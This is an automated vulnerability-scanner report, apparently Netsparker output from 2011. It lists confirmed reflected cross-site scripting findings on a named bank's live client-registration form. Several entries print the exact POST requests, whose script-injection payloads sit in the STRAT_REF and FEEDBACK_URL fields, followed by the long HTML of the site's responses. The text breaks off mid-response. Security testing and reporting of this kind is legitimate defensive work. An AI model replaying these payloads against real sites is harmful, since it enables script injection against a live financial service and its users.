https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST '"--></style></script><script>alert(0x000111)</script>
aData%5BFEEDBACK_URL%5D POST -1
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 300
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000111)%3c%2fscript%3e&aData%5BFEEDBACK_URL%5D=-1&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:24 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST '"--></style></script><script>alert(0x00012F)</script>
aData%5BTYPE%5D POST 1
aData%5BaccountKind%5D POST 3
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 264
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00012F)%3c%2fscript%3e&aData%5BTYPE%5D=1&aData%5BaccountKind%5D=3&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
var r = obj.attachEvent('on' + type, func);
return r;
}
else {
obj['on' + type] = func;
}
}

tipIndex = 0;
function drawTip (sTip, width) {
this.hideDelay = 600;
this.sTip = sTip;
this.hideTimeoutId = null;
var oThis = this;

this.show = function (event) {
var oEvent = (event || window.event);
if (oThis.hideTimeoutId) {
window.clearTimeout(oThis.hideTimeoutId);
return;
} else if (oThis.oTipContainer.style.display == "block") {
return;
}
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = 'hidden';
}
oThis.oTipContainer.style.top = oEvent.clientY - oThis.oTipContainer.offsetHeight - 2;
oThis.oTipContainer.style.left = oEvent.clientX + 3;
oThis.oTipContainer.style.display = "block";
}

this.hide = function () {
oThis.hideTimeoutId = null;
oThis.oTipContainer.style.display = "none";
aSelects = document.getElementsByTagName('SELECT');
for (i=0; i < aSelects.length; i++) {
aSelects[i].style.visibility = '';
}
}

this.hideTimeouted = function () {
oThis.hideTimeoutId = window.setTimeout(oThis.hide, oThis.hideDelay);
}

document.write('<img src="../../images/icons/16x16/tip.png" align="absmiddle" height="16" width="16" border="0" id="tipImg' + tipIndex + '"/>');
document.write('<div class="tip" style="display:none;" id="tipContainer' + tipIndex + '">' + sTip + '</div>');

this.oTipImg = document.getElementById('tipImg' + tipIndex);
this.oTipContainer = document.getElementById('tipContainer' + tipIndex);
if (typeof(width) != 'undefined')
this.oTipContainer.style.width = width;
addEventHandler(this.oTipImg, 'mouseover', this.show);
addEventHandler(this.oTipContainer, 'mouseover', this.show);
addEventHandler(this.oTipImg, 'mouseout', this.hideTimeouted);
addEventHandler(this.oTipContainer, 'mouseout', this.hideTimeouted);
tipIndex++;
}
</script>
<!--<script src="js/lib.js"></script>
<script src="js/checkForm.js"></script>-->
<style>
body, td, span, div, p, tr, th, option, font, button, input, select, textarea, b, i, a {
font-size:8pt;
font-family:Verdana;
}
table {
table-layout:fixed;
}
a {
font-weight:bold;
text-decoration:underline;
color:black;
}

a:hover {
color:#666666;
}

.header {
font-size:11pt;
height:24px;
color:#FFFFFF;
font-weight:bold;
text-align:center;
background-image: url('https://www.dukascopy.com/swiss/inc/images/headline_bg_menu.gif');
background-color:#000;
background-position:0px 0px;
background-repeat:repeat-x;
}

.header a {
color:#FFFFFF;
font-weight:bold;
text-decoration:none;
}

.header a:hover {
color:#FFFFFF;
text-decoration:underline;
}

.subheader {
font-size:10pt;
color:#333333;
font-weight:bold;
text-align:center;
padding:5 0 0 0;
}

.subheader * {
font-size:10pt;
font-weight:bold;
}

.step {
font-size:10pt;
color:#999999;
font-weight:bold;
text-align:center;
padding:5 0 5 0;
}
.error {
font-size:10pt;
color:#EE0000;
text-align:center;
padding:5 0 5 0;
font-weight:bold;
}
.title {
text-align:right;
width:50%;
padding:2 2 2 2;
color:#1D4470;
}
.field {
text-align:left;
width:50%;
padding:2 22 2 2;
}
.buttons {
text-align:center;
padding:4 4 4 4;
}
.button {
color:white;
border:1px outset;
cursor:pointer;
background-color:#1D4470;
width:100px;
font-weight:bold;
height:13pt;
}
.info {
text-align:center;
padding-left:22;
padding-right:22;
}
input.text {
width:100%;
border-top:1px solid #cccccc;
border-right:1px solid #cccccc;
border-bottom:1px solid #cccccc;
border-left:1px solid #cccccc;
}
input.checkbox {

}
textarea {
width:100%;
border:1px solid #cccccc;
font-size:8pt !important;
font-weight:normal !important;
}
select {
border:1px solid #cccccc;
}

.tip {
position:absolute;
border: 1px solid #333333;
background-color: #FFFFE1;
width: 250px;
padding: 7px;
text-align: justify;
z-index:100;
}

</style>
</head>
<body onLoad="init();" onBeforeUnload="showWaiting();" style="margin:0px;padding:0px;">
<div style="background:url('https://www.dukascopy.com/pics/topBackground.png') repeat-x;"><img src="https://www.dukascopy.com/pics/headers/website_logo_bank.jpg" alt="Dukascopy" style="width:579px;height:103px;border:none;"></div>
<table width="100%" align="center" border="0" cellpadding="0" cellspacing="0">
<form style="margin:0px;padding:0px;" name="mainForm" action="/fo/register/live/index.php" method="post">
<tr>
<td colspan="2" class="header">
Client Registration
</td>
</tr>
<tr>
<td colspan="2" class="step">
Step 1 of 6-12
</td>
</tr>
<tr>
<td colspan="2">
<div class="error" id=topError>
<div>
</td>
</tr>
<tr>
<td class="title" valign="top">
Date:
</td>
<td class="field" valign="top">
Thu, 17 Mar 2011 </td>
</tr>
<tr>
<td class="title" valign="top">
Status:
</td>
<script>
function radioClickControll() {
var retAcc = document.getElementById('radio_accountKind_6');
var stAcc = document.getElementById('radio_accountKind_7');
var rInd = document.getElementById('radio_type_1');
var rJoint = document.getElementById('radio_type_3');
var rLegal = document.getElementById('radio_type_2');

if(retAcc.checked) {
rLegal.disabled = true;
}
if(stAcc.checked) {
rLegal.disabled = false;
}

if(rLegal.checked) {
retAcc.disabled = true;
}
if(rInd.checked || rJoint.checked) {
retAcc.disabled = false;
}


}
</script>
<td class="field" valign="top">
<input type="hidden" name="aData[STRAT_REF]" value="-1">
<input type="hidden" name="aData[FEEDBACK_URL]" value="-1">
<input type="radio" name="aData[TYPE]" id="radio_type_1" value="1" checked onclick="radioClickControll()"> <label for="radio_type_1">For Individuals</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_3" value="3" onclick="radioClickControll()"> <label for="radio_type_3">For Joint Account</label><br/>
<input type="radio" name="aData[TYPE]" id="radio_type_2" value="2" onclick="radioClickControll()"> <label for="radio_type_2">For Legal Entities</label>
</td>
</tr>
<tr>
<td class="title" valign="top">
Kind of account:
</td>
<td class="field" valign="top">
<script>
function fSetManagedAccountStrategyMode(bShown) {
oInp = document.getElementById('sel_managedAccountStrategy');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('servProvider0').checked = false;
}
}

function fSetServProviderMode(bShown) {
oInp = document.getElementById('sel_servProvider');
oInp.disabled = !bShown;
oInp.style.display = (bShown?"":"none");
if(bShown) {
document.getElementById('extManContact0').checked = false;
}
}
</script>
<table border="0" cellpadding="1" cellspacing="0" style="table-layout:auto;">
<tr>
<td>
<input type="radio" name="aData[accountKind]" value="" style=display:none checked>
<input type="radio" name="aData[accountKind]" value="6" id="radio_accountKind_6" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_6">Retail Account</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="7" id="radio_accountKind_7" onClick="radioClickControll();fSetServProviderMode(false);fSetManagedAccountStrategyMode(false);">
</td>
<td>
<label for="radio_accountKind_7">Standard Account (from 50 000 USD)</label>
</td>
</tr>

<tr>
<td>
<input type="radio" name="aData[accountKind]" value="100" id="radio_accountKind_100" onClick="fSetServProviderMode(false);fSetManagedAccountStrategyMode(true);">
</td>
<td>
<label for="radio_accountKind_100">Managed Account</label>
</td>
</tr>
<tr>
<td></td>
<td valign="top" id="sel_managedAccountStrategy" style="display:none;" disabled>

<b>Whilst selecting your Manager/Attorney and for convenience purposes only you may use the pull-down menu. Dukascopy has not performed any competence verification or due diligence, does not issue any recommendation concerning your Manager/Attorney and can not be held liable for any losses, direct and indirect damages whether financial or not, resulting from your Manager/Attorney&#039;s acts or omissions.</b><br>
<select name="aData[managedAccountStrategy]" id="sel_mas">
<option value='1ABEM3' >&nbsp;1ABEM3</option><option value='356JFH1' >&nbsp;356JFH1</option><option value='356JFH2' >&nbsp;356JFH2</option><option value='356JFH3' >&nbsp;356JFH3</option><option value='356JFH4' >&nbsp;356JFH4</option><option value='356JFH5' >&nbsp;356JFH5</option><option value='3SFX1' >&nbsp;3SFX1</option><option value='3SFX2' >&nbsp;3SFX2</option><option value='45GHKLBV' >&nbsp;45GHKLBV</option><option value='AADB88' >&nbsp;AADB88</option><option value='ABBB22' >&nbsp;ABBB22</option><option value='ABEF73' >&nbsp;ABEF73</option><option value='AEAC86' >&nbsp;AEAC86</option><option value='AECC31' >&nbsp;AECC31</option><option value='ALPX' >&nbsp;ALPX</option><option value='ALTV' >&nbsp;ALTV</option><option value='ARCH' >&nbsp;ARCH</option><option value='ARXX' >&nbsp;ARXX</option><option value='AZAT681' >&nbsp;AZAT681</option><option value='Augustan' >&nbsp;Augustan</option><option value='BABC92' >&nbsp;BABC92</option><option value='BADF84' >&nbsp;BADF84</option><option value='BAYWM' >&nbsp;BAYWM</option><option value='BCAD67' >&nbsp;BCAD67</option><option value='BCBC72' >&nbsp;BCBC72</option><option value='BCCA82' >&nbsp;BCCA82</option><option value='BCEE55' >&nbsp;BCEE55</option><option value='BDAD35' >&nbsp;BDAD35</option><option value='BDCC70' >&nbsp;BDCC70</option><option value='BDCP' >&nbsp;BDCP</option><option value='BEAD70' >&nbsp;BEAD70</option><option value='BEAF55' >&nbsp;BEAF55</option><option value='BECF19' >&nbsp;BECF19</option><option value='BEDD59' >&nbsp;BEDD59</option><option value='BEEE43' >&nbsp;BEEE43</option><option value='BRKIC' >&nbsp;BRKIC</option><option value='BUSH' >&nbsp;BUSH</option><option value='BUSH288' >&nbsp;BUSH288</option><option value='CBFB47' >&nbsp;CBFB47</option><option value='CCDE32' >&nbsp;CCDE32</option><option value='CCPFX' >&nbsp;CCPFX</option><option value='CDCD88' >&nbsp;CDCD88</option><option value='CDFD34' >&nbsp;CDFD34</option><option value='CEDD62' >&nbsp;CEDD62</option><option value='CEFA67' >&nbsp;CEFA67</option><option value='CEFF58' >&nbsp;CEFF58</option><option value='CFEC46' >&nbsp;CFEC46</option><option value='CFFX' >&nbsp;CFFX</option><option value='CGFX' >&nbsp;CGFX</option><option value='CHBC' >&nbsp;CHBC</option><option value='CLMFX' >&nbsp;CLMFX</option><option value='CurrClub' >&nbsp;CurrClub</option><option value='DADD65' >&nbsp;DADD65</option><option value='DBAA26' >&nbsp;DBAA26</option><option value='DBAF77' >&nbsp;DBAF77</option><option value='DBFB93' >&nbsp;DBFB93</option><option value='DCCD84' >&nbsp;DCCD84</option><option value='DCEC93' >&nbsp;DCEC93</option><option value='DDBF26' >&nbsp;DDBF26</option><option value='DDCC49' >&nbsp;DDCC49</option><option value='DDDB32' >&nbsp;DDDB32</option><option value='DEFD33' >&nbsp;DEFD33</option><option value='DF56NB' >&nbsp;DF56NB</option><option value='DF794J0' >&nbsp;DF794J0</option><option value='DFAF50' >&nbsp;DFAF50</option><option value='DG785' >&nbsp;DG785</option><option value='DOXX' >&nbsp;DOXX</option><option value='DRFX1' >&nbsp;DRFX1</option><option value='DSBP' >&nbsp;DSBP</option><option value='EACE93' >&nbsp;EACE93</option><option value='EADA74' >&nbsp;EADA74</option><option value='EAEE21' >&nbsp;EAEE21</option><option value='EAFD36' >&nbsp;EAFD36</option><option value='EBAD44' >&nbsp;EBAD44</option><option value='EBBB34' >&nbsp;EBBB34</option><option value='EBDE90' >&nbsp;EBDE90</option><option value='ECURRENTZ' >&nbsp;ECURRENTZ</option><option value='EDCC46' >&nbsp;EDCC46</option><option value='EFAF70' >&nbsp;EFAF70</option><option value='EFBB17' >&nbsp;EFBB17</option><option value='EFCA50' >&nbsp;EFCA50</option><option value='EFCA92' >&nbsp;EFCA92</option><option value='FAAC62' >&nbsp;FAAC62</option><option value='FBDB80' >&nbsp;FBDB80</option><option value='FBDF30' >&nbsp;FBDF30</option><option value='FBED79' >&nbsp;FBED79</option><option value='FBFA65' >&nbsp;FBFA65</option><option value='FCCA80' >&nbsp;FCCA80</option><op..
- /fo/register/live/index.php

/fo/register/live/index.php CONFIRMED

https://live-login.dukascopy.com/fo/register/live/index.php

Parameters

Parameter Type Value
aData%5BSTRAT_REF%5D POST -1
aData%5BFEEDBACK_URL%5D POST '"--></style></script><script>alert(0x00012E)</script>
aData%5BTYPE%5D POST 2
aData%5BaccountKind%5D POST 200
aData%5BserviceProvider%5D POST BBAC47
aData%5BservProviderAnswer%5D POST Yes
aData%5BHTTP_REFERER%5D POST 3
backFormMarker POST 3
currentFormMarker POST step1
nextFormMarker POST step2

Request

POST /fo/register/live/index.php HTTP/1.1
Referer: https://live-login.dukascopy.com/fo/register/live/index.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: live-login.dukascopy.com
Content-Length: 334
Accept-Encoding: gzip, deflate

aData%5BSTRAT_REF%5D=-1&aData%5BFEEDBACK_URL%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00012E)%3c%2fscript%3e&aData%5BTYPE%5D=2&aData%5BaccountKind%5D=200&aData%5BserviceProvider%5D=BBAC47&aData%5BservProviderAnswer%5D=Yes&aData%5BHTTP_REFERER%5D=3&backFormMarker=3&currentFormMarker=step1&nextFormMarker=step2

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 19:25:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.3.3
Transfer-Encoding: chunked
Content-Type: text/html; charset=windows-1252



<html lang="en">
<head>
<title>Client Registration</title>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<script>
function init() {
fFillForm();
}

var bShowWaiting = true;

function showWaiting() {
if(bShowWaiting) {
for (odj in document.body.childNodes)
try {
document.body.childNodes[odj].style.display = 'none';
}catch(e){}

oProgressDiv = document.createElement('div');
document.body.appendChild(oProgressDiv);
oProgressDiv.align = 'center';
oProgressDiv.innerHTML = "<br/><br/><br/><br/><br/><br/><br/>Please, wait<br/>";

tmp = document.getElementById('progress_img')
oProgressImg = tmp.cloneNode(false);
oProgressImg.style.display = 'block';
oProgressDiv.appendChild(oProgressImg);
bShowWaiting = false;
}
}

function addEventHandler(obj, type, func, useCapture) {
if (obj.addEventListener) {
obj.addEventListener(type, func, useCapture);
return true;
}
else if (obj.attachEvent) {
